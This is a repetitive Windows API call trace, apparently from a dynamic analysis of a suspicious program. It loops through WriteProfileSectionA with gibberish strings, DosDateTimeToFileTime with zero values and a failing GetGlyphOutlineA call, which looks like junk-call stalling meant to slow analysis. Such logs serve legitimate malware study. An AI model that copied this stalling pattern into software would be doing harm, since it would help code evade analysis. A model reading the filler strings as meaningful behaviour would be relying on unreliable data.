	[0069.446] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.450] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.450] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.450] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.452] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.452] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.452] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.454] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.454] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.454] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.460] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.460] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.460] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.463] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.463] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.463] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.466] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.466] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.466] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.468] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.468] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.468] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.470] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.470] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.470] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.471] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.472] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.472] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.473] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.473] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.473] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.475] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.475] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.475] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.477] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.477] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.477] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.479] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.479] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.479] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.481] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.481] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.481] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.483] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.483] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.483] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.485] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.485] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.485] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.487] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.487] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.487] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.489] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.489] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.489] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.490] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.490] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.490] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.492] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.492] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.492] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.494] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.494] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.494] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.496] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.496] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.496] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.498] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.498] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.498] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.500] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.500] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.500] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.503] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.503] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.503] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.507] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.507] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.507] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.511] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.511] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.511] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.514] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.514] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.514] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.517] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.517] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.517] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.519] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.519] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.519] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.521] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.521] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.521] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.523] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.523] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.523] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.527] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.527] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.527] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.529] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.529] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.529] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.531] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.531] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.531] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.532] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.533] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.533] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.535] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.535] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.535] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.537] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.537] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.537] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.539] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.539] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.539] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.561] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.561] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.561] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.563] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.563] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.563] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.565] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.565] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.565] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.567] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.567] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.567] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.568] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.569] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.569] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.570] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.570] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.570] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.572] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.572] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.572] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.574] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.574] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.574] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.576] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.576] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.576] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.578] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.578] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.578] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.580] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.580] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.580] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.582] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.582] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.582] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.584] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.584] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.584] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.586] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.586] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.586] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.588] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.588] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
